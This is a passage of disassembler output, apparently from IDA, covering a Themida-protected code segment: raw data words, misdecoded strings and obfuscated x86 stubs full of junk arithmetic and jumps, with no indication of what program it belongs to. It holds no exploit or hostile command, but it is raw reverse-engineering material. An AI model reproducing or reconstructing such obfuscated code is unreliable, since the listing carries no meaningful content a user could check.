2DD8015Bh, 0C807902h, 4C5E955h, 3C8B0001h, 4C48124h dd 8F000000h, 248B2404h, 0C8BE0F24h, 0F243E9h, 241C8B00h dd 81E68956h, 4C6h, 4C68300h, 4A32E9h db 0 ; --------------------------------------------------------------------------- loc_543D55: ; CODE XREF: Themida_:005468B6j mov [esp], esp jmp loc_54BE55 ; --------------------------------------------------------------------------- aVtP db 'VT^P¸·',0 dd 33251CA5h, 0F716D021h, 3366E9D8h, 0F8BE0001h, 0F71C5C27h dd 31F681DEh, 527B6C7Dh, 4B494EBAh, 0F5E2810Bh, 0F7791A25h dd 12AEE9D2h, 0E0890001h, 405h, 40500h, 4870000h, 24248B24h dd 0F701E9h, 0E3895300h, 3900BA52h, 81424E52h, 9227BDEAh dd 0C2814244h, 35B24DDAh, 1921E9h, 2EB8100h, 296C0B4Ch dd 2C381CBh, 0E96C0B4Ch, 25F0h, 8124348Bh, 4ECh, 24048900h dd 0F53EE9h db 0 ; --------------------------------------------------------------------------- loc_543DE9: ; CODE XREF: Themida_:00547A43j push ebx mov ebx, esi mov ecx, ebx mov ebx, [esp] add esp, 4 jmp loc_5537FA ; --------------------------------------------------------------------------- dd 3B4FF681h, 0F5892F64h, 8FF5815Eh, 4D33B032h, 11E3BE9h dd 52D3F600h, 0EE8034B6h, 0B6C68036h, 0E95AF328h, 11DAh dd 24048F66h, 1B176866h, 242C8966h, 24043166h, 109CEE9h dd 8BD80100h, 3BE9241Ch, 83000028h, 0C8B04C4h, 4C48324h dd 0D1E95066h, 5A00003Bh, 0D40EE9h db 0 ; --------------------------------------------------------------------------- loc_543E59: ; CODE XREF: Themida_:00545BC9j pop esi or eax, eax jmp loc_54298E ; --------------------------------------------------------------------------- db 0BFh, 90h, 0Fh dd 0E7815FB9h, 653A25EEh, 3CF7814Fh, 816FDE20h, 62214FF7h dd 1102E955h, 11050000h, 2D16F77Ah, 3CB77081h, 6AB95159h dd 53D195Ah, 278857B8h, 0B82DC801h, 59278857h, 0DC11FF05h dd 2FC7052Eh, 0F8011F02h, 22FC72Dh, 0F1B9511Fh, 49794F12h dd 8103E9C1h, 0F5F3A1F1h, 0E9C82921h, 28D0h, 0DF09C62Dh dd 5808310Bh, 2F5E9h, 0E9F38900h, 0BC7Bh, 50242C89h, 75D6E9h dd 4EEC100h, 8107E6C1h, 28A634EEh, 5EF23193h, 3A3AE281h dd 0EAC14FBEh, 0FFEA8305h, 0E055BF57h, 0FA310024h, 108B0E9h db 0 ; --------------------------------------------------------------------------- loc_543F09: ; CODE XREF: Themida_:0054BE7Bj neg edx xor edx, 0F911B33Ah add ebp, edx pop edx add ebp, 51A01D72h sub eax, ebp jmp loc_555D59 ; --------------------------------------------------------------------------- loc_543F21: ; CODE XREF: Themida_:005482A6j pop ebp jmp loc_54A139 ; --------------------------------------------------------------------------- db 5Ch dd 10060E9h, 0E9F70100h, 83F8h, 7D68AFB9h, 0F1FBE96Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_543F3E: ; CODE XREF: Themida_:005546F5j mov ecx, [esp] add esp, 4 add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ebx sub esp, 4 mov [esp], ebp push 4F280DB9h jmp loc_542F65 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 sub ebp, 68653805h add ebp, eax add ebp, 68653805h mov eax, [esp] jmp loc_544ED3 ; --------------------------------------------------------------------------- loc_543F94: ; CODE XREF: Themida_:00553B77j add ebp, 3A27458h push dword ptr [esp] pop edx jmp loc_551B07 ; --------------------------------------------------------------------------- loc_543FA3: ; CODE XREF: Themida_:00550291j sub esi, ecx jmp loc_555371 ; --------------------------------------------------------------------------- loc_543FAA: ; CODE XREF: Themida_:00549F79j pop eax add ecx, 2AD407ABh add ecx, 6A941F07h not ecx sub ecx, 0C6020E9h push ebx mov ebx, 210612Ah xor ecx, ebx pop ebx mov ebp, ecx jmp loc_54A77F ; --------------------------------------------------------------------------- db 81h dd 985F0AF5h, 6EDC175h, 135C68h, 24148900h, 631A38BAh dd 0C2814A0Bh, 19EA422Dh, 0E95AD521h, 0FF31h, 4C481h, 0C6810000h dd 2246FBAEh, 0DBE9F731h db 24h, 1, 0 ; --------------------------------------------------------------------------- loc_544007: ; CODE XREF: Themida_:0054D7E7j pop ebx jmp loc_557357 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 4EC8324h, 68240489h, 5B8Ch, 24048F54h, 4240481h, 0E9000000h dd 0A30Ch, 1F68E957h, 0C15F0000h, 38E907EFh, 5E000106h dd 4C481h, 0F7810000h, 49612C3h, 5D38E9h, 82E95B00h, 0E900005Fh dd 0FFFFE6B4h, 4068E689h, 8900005Ch, 2DE9242Ch, 290000E7h dd 0EA8158C2h, 593B4674h, 0BD8BE9h, 8BC78800h, 0C4832404h dd 0F9B25204h, 0EA80E2D0h, 60CA80FEh, 0E9CDB450h, 0FFFFECAEh dd 4240481h, 8B000000h, 89512414h, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 47C5E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5440B2: ; CODE XREF: Themida_:0055464Ej mov ebx, 7AE91E04h push ebx pop esi mov ebx, [esp] jmp loc_553428 ; --------------------------------------------------------------------------- loc_5440C1: ; CODE XREF: Themida_:00553412j pop eax add eax, 4 jmp loc_55398D ; --------------------------------------------------------------------------- dd 0E63AE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5440D2: ; CODE XREF: Themida_:005567D3j xor eax, 6E2F3139h add esi, eax pop eax push 5CE3h jmp loc_54A72D ; --------------------------------------------------------------------------- aIHY db '\‰,$h<Y',0 dd 0A111E900h, 0F8010000h, 545D7E2Dh, 2434FF51h, 4C4815Fh dd 29000000h, 0B5BA52D8h, 2915FF2Dh, 24148BD0h, 58D6E9h db 0 ; --------------------------------------------------------------------------- loc_544115: ; CODE XREF: Themida_:0054737Ej pop ecx add esp, 4 jmp loc_54270C ; --------------------------------------------------------------------------- dw 0BD55h dd 3253D17h, 1F8DBE56h, 0EEC100BAh, 14F75608h, 0E6C15E24h dd 0FDEE8108h, 81233418h, 0EE38FEC6h, 21C58123h, 0E900271Ch dd 7AB3h ; --------------------------------------------------------------------------- loc_54414C: ; CODE XREF: Themida_:005428B7j shl edx, 4 xor edx, 103F0E4Ah add ecx, edx pop edx pop edi jmp loc_54BE1F ; --------------------------------------------------------------------------- dw 8953h dd 5BDA89EBh, 81242C8Bh, 4C4h, 5AD78900h, 8BF8315Bh, 0C483243Ch dd 4EC8104h, 89000000h, 68552434h, 2E516BCFh, 81242C8Bh dd 4C4h, 77ED8100h, 534FE179h, 0BBh, 87EB2900h, 39E95BDDh dd 8100012Bh, 0ED6902F6h, 9384E969h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5441B2: ; CODE XREF: Themida_:00549ADBj xchg ebp, [esp] pop esp mov [esp], ebx push esp pop ebx add ebx, 4 jmp loc_548524 ; --------------------------------------------------------------------------- dw 6859h dd 3D12h, 68240489h, 5F823730h, 0AA6E9h db 0 ; --------------------------------------------------------------------------- loc_5441D9: ; CODE XREF: Themida_:0054602Dj xor ebx, 798A4D23h sub ebx, 1 xor ebx, 53FC3605h and ebx, 7C917FECh xor ebx, 31EB6DF3h jmp loc_54333F ; --------------------------------------------------------------------------- loc_5441FC: ; CODE XREF: Themida_:0054EDF9j xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_552CB2 ; --------------------------------------------------------------------------- loc_54420A: ; CODE XREF: Themida_:0055323Cj neg ebx push esi jmp loc_54C439 ; --------------------------------------------------------------------------- loc_544212: ; CODE XREF: Themida_:005500D2j push dword ptr [esp] pop esi jmp loc_5540D8 ; --------------------------------------------------------------------------- db 0FFh dd 56592434h, 24348B54h, 8104C483h, 4C6h, 2619E900h, 0CF290000h dd 5C17E9h, 0FC33000h, 8B66C0B6h, 2A682414h, 8900007Dh dd 0E189240Ch, 4BD55h, 0E9810000h, 67E02B1Bh, 5FC1BB53h dd 22E95A39h, 87000090h, 895C2414h, 0BB532434h, 5EC70E47h dd 7918BE56h, 0F3015458h, 0BC3815Eh, 0E96951C2h, 0F9BBh dd 42474FFh, 24048F5Fh, 7341685Ch, 1C890000h, 100BB24h dd 0D8210000h, 81241C8Bh, 4ECh, 241C8900h, 4EC81h, 24890000h dd 29AFE924h, 51E90001h, 0F7FFFFE4h, 147DE9D8h, 0F5010000h dd 4EC835Eh, 51241489h, 0E361E9h db 0 ; --------------------------------------------------------------------------- loc_5442D1: ; CODE XREF: Themida_:0054A24Ej mov ebp, [esp] add esp, 4 jmp loc_545AC7 ; --------------------------------------------------------------------------- dd 5C242C33h, 0E92424D3h, 0FFFFE424h, 5B66F820h, 5166012Ch dd 5166C588h, 12454F6h, 88535966h, 5BF888EFh, 0EFE95966h dd 5300010Fh, 2BE947B7h, 53000043h, 0FFE44DE9h, 59E950FFh db 2Ah, 1, 0 ; --------------------------------------------------------------------------- loc_54431B: ; CODE XREF: Themida_:0054D8C9j pop esp jmp loc_54F45B ; --------------------------------------------------------------------------- db 50h, 0B8h, 1Bh dd 81789B16h, 1135EC2h, 81C22947h, 1135EEAh, 0C2295847h dd 2139BE56h, 0F68124C5h, 5C5E3722h, 515EF201h, 7B2A63B9h dd 30D5E95Ch, 4C010000h, 0E9590424h, 0B3A8h, 8758C601h dd 248B2434h, 4EC8324h, 0BD242C89h, 469F3B70h, 4BB368h dd 241C8900h, 260C68h, 24048900h, 60C491B8h, 1F23E9B9h dd 4B90001h, 1000000h, 6B6859CAh, 89000030h, 72E9243Ch db 0DCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54439F: ; CODE XREF: Themida_:00549DCEj push 6C8Fh jmp loc_54852C ; --------------------------------------------------------------------------- loc_5443A9: ; CODE XREF: Themida_:00543462j mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi sub esp, 4 mov [esp], ebp mov ebp, 64862109h add ebp, 0D2E0E1A4h xor ebp, 376702A9h add esi, ebp mov ebp, [esp] jmp loc_554D05 ; --------------------------------------------------------------------------- db 1 dd 0C3295DEBh, 8904EC83h, 90E92434h db 21h, 1, 0 ; --------------------------------------------------------------------------- loc_5443EB: ; CODE XREF: Themida_:005572DFj mov [esp], ebx push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax push esi mov esi, esp add esi, 4 push ebp jmp loc_54648A ; --------------------------------------------------------------------------- loc_544407: ; CODE XREF: Themida_:00551C9Fj jmp loc_54270C ; --------------------------------------------------------------------------- dd 3574C681h, 0F0091E39h, 8324348Bh, 85E904C4h, 2D000033h dd 53B9295Dh, 81240C8Bh, 4C4h, 1B8CE900h, 45050001h, 8B132C2Fh dd 0C481243Ch, 4, 0ADB69335h, 5DEA81D8h, 8162CA3Dh, 0B4569DC2h aMBAvMbBskh db 'M)ÂêV´MÂ]=ÊbéªH',0 ; DATA XREF: ___:off_43668Co align 4 dd 72B0C381h, 0C3810544h, 509941AAh, 4CE9D301h, 810000B1h dd 4C4h, 1FE2E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544482: ; CODE XREF: Themida_:00556AFDj push esi mov esi, 7DE64376h sub esi, 5E664DB7h jmp loc_55134F ; --------------------------------------------------------------------------- aIrqsw db '‰àQéWÐ',0 dw 8100h aSAazrGcssiu db 'é¶aAzRºÐG–sé›î',0 align 4 loc_5444AC: ; CODE XREF: Themida_:0054E072j mov [esp], edx mov edx, esp jmp loc_547248 ; --------------------------------------------------------------------------- loc_5444B6: ; CODE XREF: Themida_:00543107j pop ebx xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push edi jmp loc_547DBF ; --------------------------------------------------------------------------- db 81h dd 4C1h, 240C8700h, 261D685Ch, 34890000h, 0A20FE924h, 3C8B0000h dd 22C5E924h db 1, 0 ; --------------------------------------------------------------------------- loc_5444E6: ; CODE XREF: Themida_:0054EEADj mov [esp], ebp push 71CEh mov [esp], ecx mov ecx, 25536977h and ecx, 64FD23D7h jmp loc_542D68 ; --------------------------------------------------------------------------- loc_544501: ; CODE XREF: Themida_:005499E6j mov [esp], esi sub esp, 4 jmp loc_548BE1 ; --------------------------------------------------------------------------- db 58h dd 11316E9h, 7878BB00h, 0F33161E3h, 5024348Bh, 4055854h dd 83000000h, 48704C0h, 0B8505C24h, 704122BAh, 0CE38B951h dd 662D3E7Bh, 11B2A23h, 236605C8h, 0C8B1B2Ah, 4C48124h dd 0E9000000h, 0F71Ch, 39E95455h, 1000087h, 76BC05F0h dd 0E95E495Eh, 0FFFFE744h, 815BDE01h, 0FA4BEFEFh, 81F70167h dd 0FA4BEFC7h, 0FE015E67h, 83243C8Bh, 0EEC104C4h, 4EC8302h dd 934FE9h, 3E0C100h, 0CC170D35h, 0EC2D401Bh, 214BD9EAh dd 402DE9C1h, 0EEC10000h, 0CDB9E902h, 0DD290000h, 64CDED81h dd 815B4FF8h, 2AE929C5h, 5DEF01D1h, 815FFD09h, 1C5h, 0F3CD8100h dd 83486769h, 48904ECh, 30E6B824h, 25402D5Bh, 1939105Ch dd 2FE9BD55h, 0E8094852h, 5C77255Dh, 8C352E09h, 29844663h dd 2434FFC5h, 4C48158h, 29000000h, 0CBE95DE8h db 0DEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_544603: ; CODE XREF: Themida_:00547577j add ebp, ecx pop ecx xor ebp, [esp] xor [esp], ebp jmp loc_54B06A ; --------------------------------------------------------------------------- loc_544611: ; CODE XREF: Themida_:005470C7j pop ebx not ebx shl ebx, 4 inc ebx push edx push ebp jmp loc_54829F ; --------------------------------------------------------------------------- loc_54461F: ; CODE XREF: Themida_:005435D9j add ebx, edi push edx jmp loc_5532DF ; --------------------------------------------------------------------------- aPswz db ']Péw§',0 align 2 loc_54462E: ; CODE XREF: Themida_:00556748j pop ecx mov ecx, 0D94BABC2h sub ecx, 4801509Ch add ecx, esi add ecx, 4801509Ch jmp loc_550505 ; --------------------------------------------------------------------------- loc_544647: ; CODE XREF: Themida_:0054FCACj mov edi, [esp] add esp, 4 jmp loc_551E60 ; --------------------------------------------------------------------------- loc_544655: ; CODE XREF: Themida_:00554191j push dword ptr [esp+4] mov ecx, [esp] push eax sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_548EE6 ; --------------------------------------------------------------------------- dw 0F008h dd 92045A66h, 783DE9h db 0 ; --------------------------------------------------------------------------- loc_544681: ; CODE XREF: Themida_:00556512j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ecx jmp loc_54EFFA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54D8CE ; --------------------------------------------------------------------------- loc_5446AD: ; CODE XREF: Themida_:00552AEDj pop dword ptr [esp] mov esp, [esp] push 5802h mov [esp], edx sub esp, 4 mov [esp], ebp push 245119FBh pop ebp jmp loc_55717D ; --------------------------------------------------------------------------- aQSsr db 9,'ß[Áï',7,'Séà!',0 dw 8300h dd 8F5404ECh, 4832404h, 148B0424h, 4C48324h, 4C281h, 0C2830000h dd 24148704h, 2C6815Ch, 33000000h, 34312434h, 24343324h dd 6624248Bh, 0E99CC83Bh, 0FFFFDFF8h ; --------------------------------------------------------------------------- loc_544714: ; CODE XREF: Themida_:005476B9j mov edx, [esp] add esp, 4 jmp loc_549D0C ; --------------------------------------------------------------------------- loc_544722: ; CODE XREF: Themida_:00557143j mov cl, 0EDh jmp loc_556ECF ; --------------------------------------------------------------------------- db 55h, 0BDh, 0D7h dd 2110A62Ah, 0DDE95DEAh db 0FDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_544737: ; CODE XREF: Themida_:00549A37j mov esp, [esp] mov [esp], eax mov eax, esp push esi mov esi, 4 add eax, esi pop esi sub esp, 4 mov [esp], edi push esi mov esi, 4 mov edi, esi pop esi sub eax, 6B3C7FEFh add eax, edi add eax, 6B3C7FEFh push dword ptr [esp] pop edi jmp loc_5492D0 ; --------------------------------------------------------------------------- dd 0C3236C05h, 7A0C2D0Dh, 0BA523D59h, 7BA76312h, 525AD029h dd 0B6B0E9h, 0D8F75A00h, 68726856h, 0C890000h, 514AE924h dd 148B0000h, 4C48124h, 0E9000000h, 0AD56h, 0C781E789h dd 4, 4EF81h, 3C870000h, 24895C24h, 24048324h, 24048F04h dd 4240483h, 0E189515Ah, 4C181h, 97E90000h, 5D0000C7h dd 0B9B95159h, 5708C26Eh, 7C0AC6BFh, 0B8FEE901h, 0C4830000h dd 0FF0CE904h, 0BB530000h, 34BE26D3h, 0D15BD931h, 58E981E1h dd 89A40665h, 0BB6E9CDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_544806: ; CODE XREF: Themida_:00548750j sub di, 25EDh jmp loc_5485B5 ; --------------------------------------------------------------------------- loc_544810: ; CODE XREF: Themida_:00547DE4j mov ebx, esp add ebx, 4 push ebp mov ebp, 4 sub ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_55122F ; --------------------------------------------------------------------------- db 81h dd 4C4h, 2C08300h, 31240433h, 4332404h, 2501E924h, 8B660001h dd 0A7682404h, 89000031h, 0E0892404h, 1032AE9h db 0 ; --------------------------------------------------------------------------- loc_544855: ; CODE XREF: Themida_:0054B2EAj push esi mov esi, 3DAC5553h dec esi jmp loc_555079 ; --------------------------------------------------------------------------- db 81h, 0C5h, 36h dd 163537Eh, 36ED81FDh, 8163537Eh, 997FC6C5h, 0E9535F4Ch dd 11DBAh ; --------------------------------------------------------------------------- loc_54487C: ; CODE XREF: Themida_:loc_54C945j ; Themida_:00550C41j ... push dword ptr [esp] mov ebx, [esp] jmp loc_5550AA ; --------------------------------------------------------------------------- loc_544887: ; CODE XREF: Themida_:00547B32j sub ah, 0FFh push ebx mov bh, 4Ah or bh, 0D2h shl bh, 3 jmp loc_545592 ; --------------------------------------------------------------------------- dd 0E9F18951h, 0FA4Fh, 0E1C0D1F6h, 0FE95008h, 58000064h dd 0FFEDEB81h, 0D829E3C4h, 0FFF440E9h, 243C31FFh, 5C243C33h dd 0E9240C89h, 0A8B6h, 5EA5BF66h, 83C78166h, 0F82966DCh dd 2434FF5Fh, 5A2434FFh, 81E18951h, 4C1h, 4C18300h, 5C240C87h dd 6604C483h, 2246C81h, 81660B0Bh, 5F02246Ch, 44016631h dd 81660224h, 5F022444h, 66526631h, 660B0BBAh, 4245401h dd 58665A66h, 202CE9h, 24148900h, 665051B6h, 5240B551h dd 0DCE9EE88h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54492F: ; CODE XREF: Themida_:0054D2CAj not dl jmp loc_54D1FE ; --------------------------------------------------------------------------- dw 0C481h dd 4, 2474FF52h, 48F5A04h, 24248B24h, 9C2424D2h, 0FFF965E9h db 0FFh ; --------------------------------------------------------------------------- loc_544951: ; CODE XREF: Themida_:00547208j xor edi, 526A8D76h sub ecx, 6A435E35h add ecx, edi add ecx, 6A435E35h pop edi jmp loc_553B93 ; --------------------------------------------------------------------------- aSrn db '[éàn',0 dd 0B60F6600h, 0C5686602h, 4896662h, 0DD8AE924h, 1489FFFFh dd 548E924h, 0EF810001h, 641FFFFEh, 0E2E9FB01h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_544997: ; CODE XREF: Themida_:00544BF4j push esi jmp loc_551AB2 ; --------------------------------------------------------------------------- db 1, 0C8h, 59h aVsD db 'VéêD',0 align 2 loc_5449A6: ; CODE XREF: Themida_:00544E5Bj xchg edx, [esp] pop esp mov ebp, [esp] push edx jmp loc_54B287 ; --------------------------------------------------------------------------- loc_5449B3: ; CODE XREF: Themida_:0054A199j mov ebx, 142318FAh jmp loc_54C9F8 ; --------------------------------------------------------------------------- loc_5449BD: ; CODE XREF: Themida_:0055731Ej xor eax, [esp] mov esp, [esp] jmp loc_550DC1 ; --------------------------------------------------------------------------- dd 0D40A1E05h, 2DE8015Dh, 5DD40A1Eh, 0E9242C8Bh, 0FFFFDFDDh ; --------------------------------------------------------------------------- loc_5449DC: ; CODE XREF: Themida_:0054F5BEj mov ebx, [esp] jmp loc_545537 ; --------------------------------------------------------------------------- loc_5449E4: ; CODE XREF: Themida_:00542E97j add esp, 2 movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h, 0C3h, 83h dd 348904ECh, 2474FF24h, 2D3FE904h, 0DFF70000h, 8106EFC1h dd 4F425DF7h, 0BA30E927h, 0C4830000h, 0F5EF8004h, 7CB45066h dd 0C01BF480h, 8AE906ECh, 590000F9h, 6075EB81h, 0F3012E51h dd 6075C381h, 835E2E51h, 72E904C3h, 54000014h, 4C3815Bh dd 81000000h, 4EBh, 241C8700h, 0FFEC5EE9h, 81D701FFh, 2F1824C7h dd 3C875A3Fh, 24248B24h, 7269E9h db 0 ; --------------------------------------------------------------------------- loc_544A65: ; CODE XREF: Themida_:00551A81j push dword ptr [esp] push dword ptr [esp] pop ebx jmp loc_5558FF ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aXs7 db 'Xé$7',0 align 2 loc_544A7A: ; CODE XREF: Themida_:0054B642j push esi push dword ptr [esp+4] mov esi, [esp] jmp loc_5430FB ; --------------------------------------------------------------------------- db 2Dh dd 0B8663D1h, 0D105D801h, 510B8663h, 0FE683CB9h, 4A06829h dd 4890000h, 51685224h, 0E907F942h, 0FFFFEDE3h, 0CC03AC2Dh dd 58C52151h, 4F8DC581h, 0E5812A8Fh, 634E5E68h, 2BA7E581h dd 0C5811A3Bh, 9BD14C7h, 2C8BE931h, 4C48324h, 0B5C18141h dd 295B3F08h, 0C58159CBh, 5C180276h, 0BE56DD01h, 5C180276h dd 0F3E2E9h, 62B9BD00h, 0DDF72D09h, 8E5C14Dh, 701F581h dd 0BB53023Eh, 1A9003E7h, 815BDD21h, 0FEBD5AEDh, 0B19BE90Bh dd 0C1810000h, 4, 4C181h, 0FF510000h, 59042474h, 0B31CE9h dd 0E9C7FE00h, 0E536h, 0B3535866h, 3E3C091h, 43F1E9h db 0 ; --------------------------------------------------------------------------- loc_544B41: ; CODE XREF: Themida_:0054A458j push ebx jmp loc_54D3C1 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 240C8700h, 0E84E95Ch db 1, 0 ; --------------------------------------------------------------------------- loc_544B56: ; CODE XREF: Themida_:00545836j not ebp dec ebp jmp loc_549DB9 ; --------------------------------------------------------------------------- dw 0E581h dd 50BF0114h, 10C6E9h, 7EB8100h, 519FAB8h, 7B560209h, 351FF405h dd 15BA5214h, 0F72DE369h, 3EAC1D2h, 0C2814A42h, 2FC29469h dd 95E9D029h, 8B00002Dh, 0E9522414h, 0FD51h, 88240C89h dd 8BCA88F9h, 0C481240Ch, 4, 0E92434FFh, 7A0Ah, 0E9241C89h dd 0FFFFDFE8h, 5320B252h, 0D3E9D388h, 6600006Eh, 68240C8Bh dd 77B4h, 81243489h, 4ECh, 24248900h, 4240481h, 8B000000h dd 0F6E92434h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544BEB: ; CODE XREF: Themida_:00556357j xor edi, ebx pop ebx or edi, 24401616h jmp loc_544997 ; --------------------------------------------------------------------------- loc_544BF9: ; CODE XREF: Themida_:005547F5j sub [esp+4], ebp sub dword ptr [esp+4], 7C5557A4h push 0AAFh mov [esp], ebp mov ebp, 2F4E5324h jmp loc_547D19 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812414h, 4, 3C52CA81h, 0EA81303Fh, 62B2E774h, 0CDE9D331h dd 66000126h, 806FB050h, 0C32820EBh, 10678E9h db 0 ; --------------------------------------------------------------------------- loc_544C41: ; CODE XREF: Themida_:00553559j pop esi jmp loc_55592A ; --------------------------------------------------------------------------- loc_544C47: ; CODE XREF: Themida_:0054E85Dj pop edi push ebx mov ebx, 0BF01B8h shl ebx, 8 push ebp push eax mov eax, 4CA904CDh mov ebp, 1A9E515Fh add ebp, eax jmp loc_54BC8D ; --------------------------------------------------------------------------- loc_544C64: ; CODE XREF: Themida_:00554D32j push edi mov edi, 33612B12h xor edi, 58C3364Ah not edi jmp loc_550882 ; --------------------------------------------------------------------------- db 1 dd 0B1E95FF9h, 8B00009Eh, 89522404h, 4C281E2h, 81000000h dd 4C2h, 35E95200h, 0B90000A4h, 0AB5096Bh, 1E981h, 0E9C10000h dd 82685004h, 583CE608h, 0ACCAE9h db 0 ; --------------------------------------------------------------------------- loc_544CB1: ; CODE XREF: Themida_:00551DD6j xor eax, 0A889F73Dh jmp loc_543198 ; --------------------------------------------------------------------------- db 29h dd 0FD30E9CEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_544CC2: ; CODE XREF: Themida_:0054C967j xor ecx, 74AA1DA3h add ecx, 8C20E28Dh mov eax, ecx pop ecx add eax, edi push 6A27h mov [esp], ecx mov ecx, 0 sub ecx, 27156985h sub ecx, 79C172C2h sub ecx, 408C3A96h add ecx, eax push esi mov esi, 408C3A96h add ecx, esi pop esi push 5333h mov [esp], edi push ecx push 13957327h pop ecx shr ecx, 4 jmp loc_552DBA ; --------------------------------------------------------------------------- dd 4240483h, 7404E9h db 0 ; --------------------------------------------------------------------------- loc_544D1D: ; CODE XREF: Themida_:0054A646j xchg ebx, [esp] pop esp mov [esp], ebp jmp loc_54C8A2 ; --------------------------------------------------------------------------- loc_544D29: ; CODE XREF: Themida_:00550908j mov eax, 7852137Ch push esi mov esi, 0E3D543DEh add eax, esi pop esi jmp loc_549F77 ; --------------------------------------------------------------------------- dd 4C481h, 0F8290000h, 3BBD555Fh, 1353028h, 0DBB9E9E8h dd 0E2890000h, 4C281h, 0E0680000h, 0E9000036h, 1160Ch dd 0DF1BEFBAh, 5AD63179h, 3337B951h, 0F0E91E0Bh, 5E0000B0h dd 4C681h, 6C680000h, 89000016h, 4BD242Ch, 0E9000000h dd 103EEh, 2434875Bh, 2B8505Ch, 250C2941h, 5ADE6183h, 7605D8F7h dd 513FA27Ah, 10804E9h, 7D436800h, 14890000h, 148B5824h dd 5F84E924h, 248B0000h, 24040924h, 0D942E99Ch, 5166FFFFh dd 0D5F6E588h, 5966EC88h, 0B4505366h, 58E788A2h, 5B66FC00h dd 8358E700h, 0B1E904ECh, 0FEFFFFFDh, 7E4C0C4h, 0E9FFC480h dd 73A6h ; --------------------------------------------------------------------------- loc_544DF8: ; CODE XREF: Themida_:00553065j add ecx, 25691706h mov ebx, [esp] push eax mov eax, esp push 3D54h jmp loc_544FA6 ; --------------------------------------------------------------------------- dw 1487h aRhz5 db '$\Rhz5',0 align 4 dd 0B9240C89h, 0E0C10B1h, 6833E9h db 0 ; --------------------------------------------------------------------------- loc_544E25: ; CODE XREF: Themida_:00553F3Dj pop esp push eax push ebp jmp loc_5546CB ; --------------------------------------------------------------------------- loc_544E2D: ; CODE XREF: Themida_:005547B4j add ebx, edi jmp loc_547A3E ; --------------------------------------------------------------------------- dd 5C241487h, 0E9242C89h, 2D31h ; --------------------------------------------------------------------------- loc_544E40: ; CODE XREF: Themida_:005471A0j xchg ecx, [esp] pop esp and ecx, 7EED0D07h not ecx shr ecx, 7 jmp loc_54F6C1 ; --------------------------------------------------------------------------- loc_544E54: ; CODE XREF: Themida_:00551E88j pop eax add edx, 4 jmp loc_5449A6 ; --------------------------------------------------------------------------- dd 24048F66h, 242C8B66h, 8904EC83h, 0E2892414h, 4C281h dd 0C2830000h, 24148702h, 2C31665Ch, 2D5EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544E86: ; CODE XREF: Themida_:0054B1D8j sub esp, 4 jmp loc_5479D0 ; --------------------------------------------------------------------------- loc_544E8E: ; CODE XREF: Themida_:0055510Ej mov ebp, [esp] jmp loc_54E746 ; --------------------------------------------------------------------------- loc_544E96: ; CODE XREF: Themida_:005431F8j mov ebx, [esp] push 7FE3h mov [esp], edi push esp pop edi add edi, 4 push 58BAh mov [esp], eax jmp loc_546E40 ; --------------------------------------------------------------------------- dw 0C380h dd 5BD80874h, 2EE9FF2Ch, 810000EDh, 4C4h, 37036800h, 0BAE90000h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544ED3: ; CODE XREF: Themida_:00543F8Fj add esp, 4 xchg ebp, [esp] pop esp jmp loc_54995B ; --------------------------------------------------------------------------- aPA5kS5S1Xs db 'P¸ 5k',0Dh,'Ñè5ÅÞ˜/1ÂXé³!',0 db 0 ; --------------------------------------------------------------------------- loc_544EF7: ; CODE XREF: Themida_:005435EAj shl eax, 5 add eax, 633DCF00h sub ebx, eax pop eax sub ebx, edx push edx mov edx, 6BE42B40h add ebx, edx pop edx sub ebx, 5D4D50E7h mov edx, [esp] jmp loc_54D7F8 ; --------------------------------------------------------------------------- db 31h dd 2C33242Ch, 24248B24h, 34F5E9h db 0 ; --------------------------------------------------------------------------- loc_544F29: ; CODE XREF: Themida_:0054C452j push ebx mov ebx, esp jmp loc_546F34 ; --------------------------------------------------------------------------- db 86h, 0D7h, 0C0h dd 18E903EFh, 5E0000F4h, 538AE9h db 0, 68h word_544F42 dw 4D75h ; DATA XREF: ___:off_4274E0o dd 3C890000h, 242C8124h, 2F234269h, 8124148Bh, 4C4h, 33E95500h db 0E5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544F5F: ; CODE XREF: Themida_:00554C4Cj push 568Ch mov [esp], ebp push 800h pop ebp push 59CBh mov [esp], ebp jmp loc_551AAB ; --------------------------------------------------------------------------- loc_544F7A: ; CODE XREF: Themida_:00554A9Dj pop edx jmp loc_545CD7 ; --------------------------------------------------------------------------- dd 0EFE9FD29h, 5F00009Ah, 4C781h, 0C7810000h, 4, 5C243C87h dd 8704C383h, 248B241Ch, 9E6FE924h db 2 dup(0) ; 